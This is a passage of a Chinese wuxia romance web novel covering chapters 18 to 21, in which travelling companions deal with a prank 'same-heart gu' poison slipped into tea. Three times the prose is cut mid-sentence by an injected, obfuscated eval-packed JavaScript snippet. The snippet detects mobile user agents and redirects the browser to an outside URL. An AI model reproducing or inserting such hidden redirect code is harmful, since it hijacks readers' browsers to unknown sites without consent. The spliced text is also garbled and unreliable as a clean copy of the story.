在纯阳派,那胡文跟他的师弟不过就只是为了些小小资源都能争个头破血流,而千宿和赤瑶那是要为了日后南疆大祭司的位置而争夺的人,这利益牵扯不是更深吗? 可两人的相处,看起来可不像是要你死我活的样子。 千宿像是第一次被人问到这样的问题,他一愣,随后反应过来,浅笑着说:“嗯,是也不是。赤瑶是大祭司的女儿,而我,在成为巫子之前,曾经是赤瑶身边的护卫。” 千宿没觉得身为巫子,曾经做过伺候人的事有什么丢脸,很坦然地告诉连舟雪。 “我从小没有父母,是被扔在了村子口,被村民用百家饭喂养长大的。十来岁的时候,村里发生山洪,我被跟着大祭司的赤瑶救上岸。 村子毁了,我命大,捡回了一条命,后来就跟在赤瑶身边。再后来,才是被选中成为巫子。” 连舟雪:“原来如此。”难怪先前她觉得千宿对赤瑶很是照顾,原来还有这么一层原因。 “就算是日后,我也会尽力辅佐阿瑶。”千宿说。 连舟雪没有露出太多意外,她虽同赤瑶一样,很少离开北黎雪山的地界,但作为旁观者,有些事情她比赤瑶看得更清楚一点。 千宿已经将食盒装好,在出门之前,他又回头看了眼连舟雪,“连姑娘,应公子是因为我跟阿瑶的缘故这才跟你闹别扭吧?” 连舟雪愕然,她可没有提过自己跟应休惊吵架。 千宿淡淡一笑,“所以这件事情交给我便好,我会同应公子说清楚。原本也是我跟阿瑶太莽撞,提了这么冒昧的请求,多谢连姑娘包容阿瑶,我这就跟应公子解释清楚,就算是要怪,也应该怪我才是。” 这番话,倒是让连舟雪有些不知道说什么好了。 她想说没有的事儿,可对上千宿那双似乎能看透人心的眼睛,她便点点头。 “多谢。”连舟雪说。 连舟雪不知道千宿这一趟过去究竟能有什么效果,她忍不住在甲板上偷偷关注。 当千宿站在应休惊门口敲门时,里面的人大约是说了什么,没来开门。不过千宿没有直接掉头转身,而是又敲了敲,说了句什么话。 连舟雪远远看着,又听不真切。但是下一刻,她就看见应休惊打开了门。 从她现在的角度,只能看见应休惊的半张侧脸。很明显,哪怕开了门,但应休惊的脸色看起来并不怎么愉快。 那双狭长的眼睛微微眯起,显出了几分不耐,从侧面来看,也能看清楚应休惊紧绷的唇线,多出凌厉之感。 18. 第 18 章 “你到底想做什么?”应休惊早就知道赤瑶和千宿这两人上了船,但他也说不清楚究竟是讨厌这两个陌生的南疆人多一点,还是厌烦连舟雪不经过自己的允许,将人带上船这件事情本身多一点。 又或者……他只是因为不喜欢看见连舟雪将目光转向别人。 刚才千宿说有跟连舟雪有关的事,他这才开的门。 应休惊看着千宿这张笑盈盈的脸就讨厌。 世人大多喜爱眼前这种温润少年,他跟这样的人站起来一起,对比鲜明。 千宿倒也不在意跟前人的冷脸,他将食盒朝前一递,“这是连姑娘特意给你留的饭菜。” 应休惊冷冷看着他。 千宿:“连姑娘很担心你。” 应休惊听见这话时,那张看起来本来就不耐烦的脸,变得更加不善。 “你来就是为了说这个?”应休惊问。 他跟连舟雪之间的事情,何需旁人来指手画脚? “不。”千宿摇头,“我其实是想要跟应公子解释一件事,阿瑶提出来想让我们跟你们同行时,连姑娘其实是有些犹豫的。我想,她硬是考虑到你可能不喜。” 应休惊哼笑一声,“知道我不喜欢,她还不是同意了?” 千宿:“最终让连姑娘下决心的,应该是我跟阿瑶提出来可以帮她解决那些个纯阳派的弟子。” 应休惊拧眉,再看向千宿时,眼里多了几分警惕。 “你都知道了?” 他说这话的时候,大有眼前的人回答令自己不满意,就要动手杀人灭口的意思。 千宿脸色没什么变化,看起来仍旧温和有耐心。 他“嗯”了声,“阿瑶知道这件事情的时候,提议把那些人都杀了。虽然连姑娘没有明说,但我能看出来她很犹豫。对阿瑶的提议,她也没觉得多惊讶,应当是此前有人已经这样建议她。我想,这个人应该是应公子。” “是又如何?”应休惊不知道千宿这话是什么意思,但他做过的事,和想做的事,从来不遮掩。“难道那些人不该死?” 千宿:“该死,我想,连姑娘若是下不去手的话,这件事情最后肯定是应公子出手。” 应休惊盯着他,未曾反驳。 千宿笑了笑,“连姑娘大约是不想应公子手中再沾染更多的鲜血,或者说,不想要应公子有更多的敌人,这才犹豫,然后用了我跟阿瑶的法子。”他说完这话后,顿了顿,“毕竟,魔教少主的名头,即便是我南疆,也如雷贯耳。” 南疆消息封闭,但又不是真的闭塞到对外界的情况一无所知。 当千宿第一次听见应休惊的名字时,就已经知道了他的身份。 应休惊眼眸中有短暂的震荡,但很快他就恢复如常。他冷眼看着面前的男子,“既然知道我身份,你还敢过来?就不怕我现在一剑杀了你吗?” 千宿:“你不会。” “因为连姑娘还在船上。” 应休惊:“笑话!我想杀谁,难道还要经过她的允许吗?” 千宿没有回答这问题,但他忽然后退了两步,主动给应休惊作揖,“应公子,阿瑶是我身边最重要的人,今日她对应公子多有冒犯,我在这里,再次替她道歉。还希望日后在船上,应公子不要多同她一般计较。” 应休惊“嘭”的一声,直接关上了房门。 而现在被关在门外的千宿,脸上却露出了个如释重负的笑容。 他相信自己的意思,应休惊已经都能明白。 在甲板上的连舟雪就只看见两人似乎在争执什么,千宿还好,面色看起来跟寻常一样,但应休惊的面色却不太好,连舟雪估计对方还在生气。 当连舟雪看到应休惊真将千宿手中的食盒接走后,她不由叹了一口气,自语道:“还生不生气啊?” 晚上应休惊正准备睡觉的时候,忽然听见窗户处传来两声小石子儿敲打窗棱的声音。 这船上的窗户对着的就是河水,应休惊打开窗户。 天上挂着一轮弯月,乌云都很识趣地走开,没有给月色一点遮挡。 清冷的光辉从苍穹落下,在河面上,落下碎金。 就在这时候,河边上忽然跃出一尾胖乎乎的银头鱼,月光照射在银鱼身上,鳞甲闪烁,像是会发光一样。 随后,水面上一条接着一条的银鱼跳出来,和天上的月,水面上的波光,交织成了一幅灵动的画卷。 应休惊被这异象吸引的注意力,但很快他就意识到,他看见的这一切,可不是那么巧合。 转头出门,果然,应休惊便看见连舟雪在甲板上吹着骨哨。 那骨哨里发出的声音,跟先前他听见的又不大一样。 连舟雪在看见应休惊的身影时,不由放下骨哨,有些干巴巴朝着他笑了笑。 那笑容里,带着几分明显的讨好。 连舟雪其实也不知道自己这算不算哄人,她见千宿将食盒递给应休惊后,回到房间,绞尽脑汁想了很久怎么才能将人哄好。 这种十多年来她就没做过的事,太没经验,思来想去之后,连舟雪意识到自己好像也就只能用眼下这点小手段。 “驭兽师在世间罕见,若是不想自找麻烦的话,就收起你这本事在人前展露。”应休惊走过来,开口冷声说。 连舟雪舔了舔唇,手指有些无措地捏了捏自己胸口的骨哨,“你知道啊?” 应休惊看了她一眼,今日连舟雪换了一身衣服,月白色的留仙裙在夜色中,比月色动人。 “你先前用骨哨卷起水旋涡时,我只是怀疑,现在你弄出这般动静,无异于在我面前自爆,我还能不知道?”应休惊语气里带着隐隐的奚落。 连舟雪挠头,“哦……” 从前可没人告诉过她驭兽这一本领有何不能展现在旁人跟前,这就是她的一部分。 哪怕现在听着应休惊这般说,她也没什么特别的感触。顶多在心里感慨一句,那听起来她也是很厉害的咯? 这种小小的得意,就算是连舟雪神经再大条,也知道不能在现在表现出来。 应休惊从开始就一直盯着连舟雪的反应,果然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107325|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,后者根本不像是将他的话放在心上的样子。 应休惊有些气闷,他这是生自己的闷气。 这关他何事?他为何要来管这麻烦事儿? 他分明都已经自顾不暇,连家庄的人哪里轮得到他这么个魔头来担心? “若是被有心人知道,日后只会麻烦不断。”应休惊说。 “你又不是别有用心的人。”连舟雪飞快反驳他这话,她又不笨,脑子也没毛病,干嘛要用这种小手段去哄陌生人? “再说了,我这是哄你开心,不是为别的。”连舟雪不是太有底气嘟囔道。 毕竟,她也不知道自己这蹩脚的小手段,究竟成功了没。 应休惊在听见连舟雪后面那句嘟囔时,那脸上的神色终于有了一瞬间的裂痕。 他皱眉,还以为自己没听清楚,或者是听岔了。 可很快,连舟雪就又问:“那你现在开心一点了吗?你要是不开心,你可以告诉我,要怎么哄你,你才不生气啊?” 应休惊反应过来,不是自己听错了,而是刚才当真是连舟雪在说什么搞这么一出,就是为了哄自己开心。 一时间,应休惊有些不知道要怎么反应。 哄他开心? 这四个字,他怎么一下就不知道是什么意思。 他收拾起来自己眼底的那抹无措似的怔忪,“什么哄我开心?为什么?” 连舟雪瘪嘴,“还能为什么啊?我不是惹你不高兴了吗?虽然说现在的情况有些偏离我的预料,但事实我们已经算是同伴。我今日擅作主张,惹怒你,赔罪不是应该的吗?” 应休惊抿唇,片刻后,他才道:“就算是同伴,也可以随时丢弃,我也不会说什么,本来也是我说要还你救我的那一命。” 他声音有些硬邦邦的。 现在也不想看连舟雪,就冷硬着一张脸,侧对着人,好像这样就是最好的防御状态。 连舟雪:“一码归一码嘛。” 应休惊心里默念着“同伴”两个字,这对于他而言,就像是“哄你开心”这四个字一样,陌生极了。 头一次。 他想。 “这种哄小孩的把戏,日后就别拿出来了,省得丢人现眼。”应休惊说。 若不是现在他唇线没有抿得那么紧,而眉梢处都挂着几分轻松之意,连舟雪又刚好错过他这侧脸露出来的小情绪的话,说不定连舟雪还真要以为自己的“小把戏”失败了。 现在连舟雪见到应休惊的神色反应,状似很听话地“哦”了声,随后她屈起小拇指,放在嘴边,又吹了个古怪的小调,顿时,伴随着“哗啦”一声水响声,水面上又跃出来一条条的小银鱼。 这一次,这些小银鱼似乎跳得更高,欢腾极了。 像是她此刻的心情。 应休惊没想到自己分明都已经这般凶狠地警告过连舟雪,这人居然还能一扭头就给他当场表演个什么叫反骨。 他回头瞪向连舟雪,却不料落进了后者笑盈盈的眼眸。 “应休惊,你是不是很喜欢呀?” 19. 第 19 章 鱼群似的烟花。 他喜欢吗? 从未有人为哄他开心,做过这样的事情。就连寻常的烟花,也没有一朵是特意为了他这个人而绽放。 “幼稚。”应休惊嘴硬道。 连舟雪见他的神情分明就舒缓了许多,心头也稍微有点底,她三两步就走到应休惊身边,抱着双臂,“管用不就好了吗?” 说完这话,连舟雪大约是预测到应休惊的反应,很快跳开,转头就冲着一脸复杂的冷峻男子挥了挥手,“你好好看,我就先回去睡觉了,你也早点休息。” 甲板上很快就只剩下了应休惊一人。 因为在船侧飞舞跳窜的银鱼,让周围显得热闹非凡。 翌日,连舟雪是被一阵香味给勾得睁开眼。 像是鲜嫩的鸡肉跟荷叶的味道交织在一起,还有几分泥土和柴火的味道,在江面上都带来了一丝干燥的温暖。 连舟雪打开房门,正好这时候,她隔壁房间的赤瑶也走了出来。 “好香啊。”赤瑶动了动鼻子,然后看向连舟雪,“舟舟,你闻到了吗?” 连舟雪点头,“好像是叫花鸡的味道?” 两人顺着这股香气,走到厨房。 之前在船上的几顿饭,连舟雪不是吃鱼,就是吃干粮,哪怕最初还有几分新奇,现在也完全不想看见这两样东西。 当看见出现在厨房里的人是谁的时候,连舟雪有些惊讶,“应休惊?” 被叫的人早就已经听到了从门外面传来的脚步声,不过这时候才回头。 “起了?正好,过来吃饭吧。锅里有鲫鱼粥,荷叶叫花鸡也刚好出炉,我本来想等会儿再叫你。”应休惊看着连舟雪说。 至于现在出现在连舟雪身边的赤瑶,他无视了个彻底。 连舟雪已经被这香味勾得不由自主点头,听话地走过去,还不忘记拉了赤瑶一把,“他做饭可厉害了!” 赤瑶早上也的确是被饭菜的香味熏醒,只是她不知道掌勺的人竟然是昨天的死鱼脸。 两人本来就不对付,现在应休惊虽然没说什么,但在她被连舟雪拉着走进厨房后,赤瑶就感觉到头顶一直有一道目光落在她身上。 不用抬头看,她也知道这目光的主人是应休惊。 应休惊虽然没开口阻拦她,但现在落在她身上的这道视线,几乎都已经把他想说的话表达了个一清二楚—— 叫你了吗?你也好意思过来? 赤瑶肚子是有些咕咕叫,但她又不是非得吃上这么一口。 下一刻,赤瑶就顿了顿脚。 连舟雪刚盛了一碗粥,递给身边的人,谁知道赤瑶摇头,直接拒绝了。 “舟舟,我想起来我昨天上船的时候还带了几个青团,若是不早点吃完的话,恐怕就坏了。你先吃吧,我回去找千宿。”赤瑶说。 她在说完这话后,也不给连舟雪挽留自己的机会,飞快转身,就离开了厨房。 连舟雪站在原地,有些措手不及。 她抬头,看向身边的应休惊,眼神疑惑。 应休惊接到连舟雪的眼神,直接伸手在她脑门上敲了敲,“你看我做什么?我可什么都没说。” 连舟雪:“你用眼神赶她走。” 应休惊:“……没有。” 连舟雪坐下来,顺便也将身边的人拉着一起坐下吃饭,“算了,先吃饭。之后你可别这样,都说百年修得同船渡,一路同行也算是有缘人吧?” 应休惊对这话不置可否,只是默默地撕开了叫花鸡外面的那层荷叶,然后用一把看起来通体漆黑的匕首划开了一整只鸡。 “如果她不来招惹我的话,我可以考虑。”应休惊忽然说。 赤瑶气哼哼从厨房里出来的时候,就撞上了出来寻她的千宿。 “阿瑶。”千宿叫住她,走近一点,千宿见到赤瑶面色看起来不大好,关心问:“怎么了?怎么一大清早起来就不高兴的样子?” 赤瑶回头朝厨房的方向看了眼,那被荷叶包裹的叫花鸡的香味像是不受控制一般,一股脑儿地钻进了她的呼吸里。与此同时,先前应休惊的那道目光好似也如影随形,跟了出来。 “没什么。”赤瑶咬牙,“只不过遇见了个讨人厌的厨子!” 千宿:“……” 整艘船上,能引得赤瑶这么咬牙切齿的人,千宿不用多想,也猜到了赤瑶口中的这个“厨子”是谁。 “昨日我在街上买了些红糖粑粑和茯苓糕,先去吃点东西再说?”千宿提议。 赤瑶没有反对,只不过等坐在小木桌跟前,赤瑶一边咬着饼,一边琢磨着怎么让应休惊吃瘪。 千宿跟她算是从小一块儿长大,现在赤瑶眼珠一转,千宿便能猜到她心头打的是什么主意。 千宿轻咳一声,“阿瑶,应公子既然是连姑娘的朋友,我们此番一路同行,还是不要去招惹的好,你觉得呢?” “嗯,我不招惹他,就只是想给他一点小小的教训。你是不知道这人有多嚣张,简直令人可恨!”赤瑶显然没将千宿的话听进去。 千宿觉得自己脑袋有些疼,他想问赤瑶究竟想做什么,也方便等会儿提前知会应休惊一声,省得之后闹得不可开交,场面没办法收拾。 奈何赤瑶不肯开口,“现在若是告诉你,等会儿岂不是就没有惊喜了吗?”赤瑶振振有词,她见千宿一脸担忧的样子,还非常贴心地拍了拍后者的肩头,“你放心,我有分寸。” 千宿很怀疑这分寸的真假。 接下来几日时间,赤瑶都在自己房间里没怎么出来。 用她的话来说,是她在炼蛇,为了今年跟千宿的比试。 从千万条蛇中,炼就一条蛇,最后留下来的这条蛇就是蛇蛊。 越是往南边,天气也越是暖和,眼下正值阳春三月,春暖花开,江岸两边的风景也变得越发秀美多姿。 这天,连舟雪她们停船在一处较为繁华的码头,此地距离连舟雪的目的地,差不多还有三五日。 不过考虑到船上那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107326|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些还没有离开的姑娘们,连舟雪决定先停船靠岸,让这些姑娘们先离开。毕竟跟她们这些江湖人有太多牵扯,反而不利于她们。 送走了船上剩余的姑娘们后,连舟雪提议去找个酒肆吃饭。 赤瑶也从下了船,听到这提议后,愉快举手表示同意。 一行四人找了一家看起来最热闹的酒楼,走了进去。 此地已经是南边,看起来还算是颇为热闹祥和,没有受到战事的侵扰。 跑堂的店小二见应休惊出手阔绰,直接将四人引到了三楼视野最好的一桌。 即便如此,应休惊在坐下来后,眼里还是露出了些许嫌弃,这里竟然连雅间都没有。 赤瑶率先坐下,她拿起桌上的茶壶,就给四个人都倒满茶。 “应公子,千宿说你是舟舟的朋友,大家能够一路同行,也算是缘分。所以,这一杯,就算是我为了之前的事跟你赔礼道歉。希望在今日之后,大家之前的恩怨就能一笔勾销,你觉得如何?”赤瑶笑盈盈地看着应休惊,主动将其中的一杯茶水递给了应休惊。 这话一出,应休惊和千宿两人都盯住了赤瑶。 千宿早就知道赤瑶这几日憋着一肚子的坏水是要捉弄应休惊,但他着实不知道赤瑶的计划,只能暗中盯紧。 现在赤瑶一反常态,忽然对应休惊的态度大转变,千宿直觉有问题。 他刚想提醒应休惊,谁知道应休惊已经淡然拒绝:“赤瑶姑娘的好意,应某心领,不过应某不爱饮茶,这茶水还是算了吧。” 千宿松了一口气。 赤瑶在听见应休惊这敷衍的借口时,脸上的笑容差点快挂不住。 虽然她早就猜想到凭应休惊的警觉,估计是不会真的喝经她手的茶水,她的计划中也原本不是给应休惊准备的这一杯,但真听到应休惊不给情面的拒绝时,赤瑶心头还是有一股火苗。 重新挂上笑,赤瑶准备将那杯递出去的茶水收回来,刚准备说什么,她手里的杯子就被人截胡。 “没关系,我喝。”连舟雪从赤瑶手中拿过茶杯,正好她也喝了,直接一口喝掉。 连舟雪的动作太快,应休惊根本就没来得及阻拦,就眼睁睁地看着身边的人喝了那杯原本是赤瑶递给自己的茶。 “你!”应休惊看着连舟雪的动作,惊怒,“什么人给你的东西就敢直接喝?”他之前就不相信赤瑶会有那么好心给自己倒茶,结果没想到连舟雪竟然接了在他看来就不安好心的茶水。 连舟雪:“嗯?”她朝着应休惊眨了眨眼,“我不是没事吗?” 应休惊已经不由分手拉过连舟雪的手,抬起两指,搭在她的脉搏上。 对面的赤瑶似乎也被眼前这一变故给惊了一跳,她有些无措地看着连舟雪。 连舟雪安抚似地朝着赤瑶笑了笑,然后又重新将注意力落在应休惊身上。 她在心里叹了一口气,这少爷的脾气还真是捉摸不透。这喝了茶的人是自己,她不知道应休惊这么生气又是为哪般。 20. 第 20 章 “没什么问题吧?”连舟雪试探着问。 应休惊松了手,扫了一眼面前的人,“暂时没事。”应休惊说完这话后,脸色看起来也没多缓和,“但下次可就不一定了。” 连舟雪本来想说“哪有那么夸张”,不过一对上应休惊的脸色时,她觉得自己现在最好什么都别说。 千宿这时候站出来打圆场,“没事就好,没事就好,赶紧点菜吧,我感觉都饿了。”说这话的时候,他的余光下意识地带过赤瑶。 赤瑶脸上的表情有那么一点古怪,她也没想到自己准备了好几日的计划,居然还没施展,就出了这么大的纰漏。 应休惊刚被连舟雪吓得不轻,如今确定连舟雪没事后,才松了口气。他下意识地端起其中一盏茶,喝了下去。 “等一下!” 赤瑶刚就在出神,当她看见应休惊的动作时,倏然一下就从自己的位置上站起来。 她倒是想要伸手直接将应休惊手中的茶杯打翻,可动作到底是慢了一步。 赤瑶:“……” 她的确是想坑一把应休惊,但是真没想要将连舟雪牵扯进来。 可眼下…… 事情的发展跟她预设的轨道发生偏离。 赤瑶脸上的神色变得纠结起来,同心蛊这种整蛊人的小东西,并没有解药。 应休惊在赤瑶出声时,他抬头眼神凉凉地扫了后者一眼,“这杯才有问题?” 此刻,连舟雪也好奇看着赤瑶的举动,有些疑惑。 赤瑶一下有点不知道该怎么解释才好,倒是千宿忽然站起来,走到应休惊跟前时,伸手按住应休惊的脉搏。 他这么一动,应休惊心头便几乎确定了。 “你果然在茶水里放了东西。”应休惊盯着赤瑶的那双眼睛,笃定出声。 赤瑶被他一语道破,有点心虚:“其实也不会怎么样……” 她刚说完这话,千宿那边也松开了应休惊的手。 “千宿,他怎么样?”连舟雪没想到事情竟然会发展成这样,她现在来不及追究赤瑶的责任,转头看着千宿有些着急问。 千宿叹了一口气,“连姑娘,可否让我再把把你的脉?” 连舟雪直接伸手递过去,“是有什么问题吗?” 千宿摸着连舟雪的脉搏,很快也松开了她的手。 “二位是有那么一点小问题的。”千宿实话实说。 应休惊在千宿给自己把脉的时候,还算平静。但当听见现在千宿这话时,他陡然看向赤瑶,那眼神冷得像是能化为利刃,“你究竟对她做了什么?” 赤瑶这一刻是真后悔了,她只想整蛊应休惊,如今把连舟雪也牵扯进来,心里实在是很过意不去。 “就,我就在茶水里下了同心蛊……”赤瑶小声说。 在应休惊发更大的怒火之前,千宿赶紧解释:“应公子和连姑娘先听我一言,阿瑶的确是给二位下了同心蛊,但这蛊本身是没什么危害……” “解药。”应休惊压根就没有给千宿机会做多余的解释,他直接抽出了腰间的软剑,直指赤瑶。 赤瑶缩了缩脖子,“同心蛊是没有解药的。” “你!”应休惊勃然大怒,作势就要当场劈了赤瑶一般。 “应休惊,你先把剑放下。”连舟雪意识到眼前的情况有些麻烦,不过解决麻烦不得让大家都冷静下来? 连舟雪其实已经想过了,就凭着应休惊这脾气,怕是不好安抚,自己说的话对方现在可能根本就听不进去。 但下一刻,应休惊指着赤瑶的那把剑就被他放了下来。 连舟雪:“!!!” 而作为当事人的应休惊,也愣住了。 他并没有任何想要放过赤瑶,跟对方坐下来好好谈一谈的打算。就算是连舟雪的态度可能会对他有一点影响,但他也绝不可能什么都听连舟雪的安排。 可现在这算是什么情况? 千宿这时候主动站出来,对上应休惊那双惊疑不定的眼睛解释道:“这其实就是同心蛊的作用,子蛊需要听母蛊的话。这东西在我们南疆,更多的都是些小情侣之间的玩笑。一个人需要听从另一个人的指派命令,但是持续的时间不长,就三日。” 应休惊眼神凉凉的,他转头看向赤瑶,“所以,你刚才是想下蛊,让我听你的话?” 赤瑶知道自己犯了错,现在整个人都恨不得躲在千宿身后。听到应休惊的话时,她才探出一个脑袋,点了点头。 “谁让你之前对我那么恶劣?”赤瑶小声说,在把应休惊彻底惹怒之前,她倒是乖觉得很,又飞快道歉:“对不起,是我考虑不周。” 考虑不周才把连舟雪牵扯进来,她先前可没有这样的打算。 应休惊可没因为赤瑶这话就原谅她,那双眼睛里迸射出来的寒芒,令人背脊一凉。 “好啦。”这时候连舟雪出声,打破了两人之间的剑拔弩张,“除了我说的话,他都要照做之外,还有什么别的限制吗?” 连舟雪觉得这同心蛊还挺好玩的,只不过现在应休惊肯定不会觉得好玩就是了。 “咳咳……”千宿现在其实也有些恼怒,他没想到赤瑶会这般没分寸,现在听到连舟雪的问话,他心里的愧疚更甚,“还有一点。” “什么?” 这话是应休惊问出口的,应休惊的脸色难看,说出来的这两个字也像是从牙缝里蹦出来的一样。 千宿:“……被下蛊的两人,不能相隔太远。” “那是多远?”应休惊问。 千宿:“二位可以动一动你们的无名指。” 连舟雪照做,随后她惊讶地发现自己的手指一动,在应休惊的那根手指头上,也动了动。 连舟雪好奇的看向千宿,“这又是什么?” “中了同心蛊的两人,手指上会自动缠上一条‘姻缘线’,这‘姻缘线’可长可短,最长不过两丈。”千宿解释说。 应休惊的脸色更沉了。 他是想到若是自己跟赤瑶那妖女一起中蛊,岂不是在之后的几日里,两人都必须形影不离? 因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107327|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为这一茬,四个人再坐下来吃饭时,饭桌上便显得格外安静。 就算是天不怕地不怕的赤瑶,现在也安安静静地闭上了嘴巴。 她刚才已经跟连舟雪道过歉,后者虽然安慰她说没事,都是小事,但赤瑶心里还是很愧疚。 “兄台,你们也是要去陆府的吧?正好拼个桌如何?” 四个人都安静吃饭的好处便是隔壁桌传来的说话声都能让人听得一清二楚。 “你也是去陆府的吗?” “当然,三小姐的芳辰,就算是陆府没有邀请俺们这些大老粗,俺也想要给三小姐送上一份厚礼!” 在连舟雪她们身后的那一桌人的交谈声渐渐传来。 桌上的四个人显然都已经听见,千宿:“难怪刚才进门的时候,我就发现这酒楼里的江湖人特别多。” 应休惊:“这码头属渝州,渝州正好是南北运河的中转地,四通八达,想来不少人马都会在此地汇聚,然后南下。” “那三小姐是谁啊?”赤瑶不认识,甚至她在南疆都没听说过这号人,不由好奇发问。 千宿也对中原武林一知半解,了解不深。 应休惊自然是不想回答的,但现在桌上三个人都看着他,很显然,连舟雪虽然上一次在船上听过他提过这位陆三小姐,但具体是什么样,她也不怎么清楚。 应休惊认命似的叹了一口气,开口解释道:“陆家三小姐,就是中原武林世家之首陆家的嫡出三小姐。她兄长是如今陆家少主,她本人在家中颇为受宠。听说,每年这位三小姐的生辰宴,都会有不少人前来恭贺祝寿。毕竟,陆家家主和陆家少主都对她颇为偏爱,能讨到这位三小姐的好,也差不多算是入了陆家人的眼。” 这也是为什么一个小小的陆家姑娘,生辰宴会这么热闹的缘故。 陆家家主和少主什么没见过?尤其是在有权势在手,寻常的东西根本就入不了他们的眼。 但是这位闺阁中的三小姐就不一样了,外面甚至还有人专门整理出来了一套《陆三小姐喜好录》,二两银子一本呢! 赤瑶咂摸了一下,“生在中原武林世家真好啊!” 她这在南疆做圣女的,就算是生辰,也没有这么大的阵仗,甚至她压根就不过生辰。 再看看人家陆家三小姐,人家哪怕不办什么生辰宴,这五湖四海的江湖人士,都自主一般朝陆家汇聚,最最最重要的,人家都是专程来送礼的。 这不就是躺着收钱吗? 赤瑶眼睛里露出了羡慕的神色。 连舟雪也觉得自己是个俗人,感慨:“真有钱啊!” 随后,连舟雪像是想到什么一般,她转过头,就朝着刚才说话的那桌江湖客看去。 “这位大哥,请问像是我们这些没有收到陆家请柬的人也可以去陆家给三小姐送礼吗?实不相瞒,在下仰慕三小姐已久,实在是想去见一见三小姐呢。”连舟雪说得情真意切。 隔壁那桌的江湖客有两位看起来穿着锦袍华服,乍然一看的确有那么几分像是世家子。 21. 第 21 章 不过,两人手边都放着大刀,还一把络腮胡子。虎口泛黄的老茧格外明显,模样粗犷。 这般模样,那就跟时下流行的清俊公子相差甚远。 对方一听见连舟雪这话,又见她是个娇美白净的小姑娘,顿时敞开了话匣子。 “这是自然,陆家那是什么人家啊?那能收到陆家请柬的人,定然都不是一般人。我们也没有收到陆家的请柬,但陆家早就放过话,三小姐的芳辰宴,每年都欢迎天下英雄豪杰前往陆府,热闹热闹。” 一旁的赤瑶也凑了过来,她如今已经换上了一套寻常中原女子的服饰,那彩色的小辫子都全部扎了起来,看起来比连舟雪多了几分英姿飒爽的味道。 赤瑶眨了眨眼睛,“哇!陆家可真是大手笔!” “可不是嘛!”最开始回应连舟雪的那络腮胡大汉点头,“我们兄弟二人,在东边做点银楼的小买卖,全靠陆家人赏识,这才运转至今。所以,陆三小姐的芳辰宴,我们必然会去一去。不过……”对方挠了挠头,似乎还有点不太好意思,又说:“虽然我们那小小的钱庄,陆家的人可能都不记得了。但我兄弟二人可不敢忘记当初就是陆三小姐在我们钱庄存了一大笔银子,这让支撑我们钱庄熬过了最难的那段日子。所以,陆三小姐每年的生辰宴,我们兄弟二人都会前去,也送上一点我们自己的心意。” 坐在这兄弟二人身边的那个拼桌吃饭的江湖客也开口:“虽然我没有受过陆家人的恩泽,但现在能趁着这机会在陆家认识一些江湖上的朋友,也是一件大有好处的事。陆家家主也知道这一点,他并不阻拦。这也算是给我们所有的江湖人,提供了一次结交好友的机会吧。” 赤瑶听得入神,脸上也带上了几分向往之意,“听起来陆家人还真是好热心啊。” “这是自然。” “陆家家主能在乱世中,匡扶正义,本来就是我辈楷模!” 赤瑶很给面子地附和了好几句,这才转过身,回到自己这桌来。 “还真是把自己当根葱了。”赤瑶用密音传声,然后还很不雅观地翻了个白眼,“虚伪,借用女子的名头,在家里开武林大会呢,这陆家难道是什么武林盟主吗?” 就算是她不认识什么陆家家主,也不认识什么陆家少主,跟陆家人也没什么过节,但是听到外面的人这般吹捧,总觉得哪里不太对劲儿。 好像陆家人做了很多好事,还是挥一挥衣袖,不留任何功与名似的。 但真那么无私,这些好事怎么就变得人尽皆知? 反正她是不相信的。 “中原人的花花肠子可真多。” 一不留神,赤瑶就将心里想的这话也传给了桌上的其余三人。 千宿:“……” 连舟雪只是平静地抓起身边的一把瓜子,若无其事地嗑了两颗。 算起来,她可能也不算是严格意义上的中原人? 至于应休惊,只是冷笑了一声,作为四个人里最纯正的中原人,没有反驳。 应休惊的确是看赤瑶不顺眼,但不得不说,刚才赤瑶那两句话,跟他的想法不谋而合。 陆家不就是把自个儿当做这中原武林的龙头?一呼百应,陆家如今也算是做到了。 四个人吃了饭后,采购了些物资,又重新回到船上。 连舟雪忽然想起来赤瑶和千宿两人原本也只是跟她们同行一段路程,现在都已经到了南边,也不知道二人准备在哪里下船。 “下船?”赤瑶摇摇头,“我对中原都不熟悉呢,舟舟,我能不能跟着你啊。”赤瑶眨了眨眼睛,模样看起来好似可怜巴巴。 连舟雪:“跟着我?可我此番是有正事,而且说不定会有些麻烦。” “没关系啊。”赤瑶说,“反正我又不怕麻烦,你有什么事情都可以安排我跟千宿的嘛!再说了,你现在跟那个,那个应公子,还中了我下的同心蛊,我也不能在这时候离开吧?” 连舟雪:“……” 这好像还真是个问题。 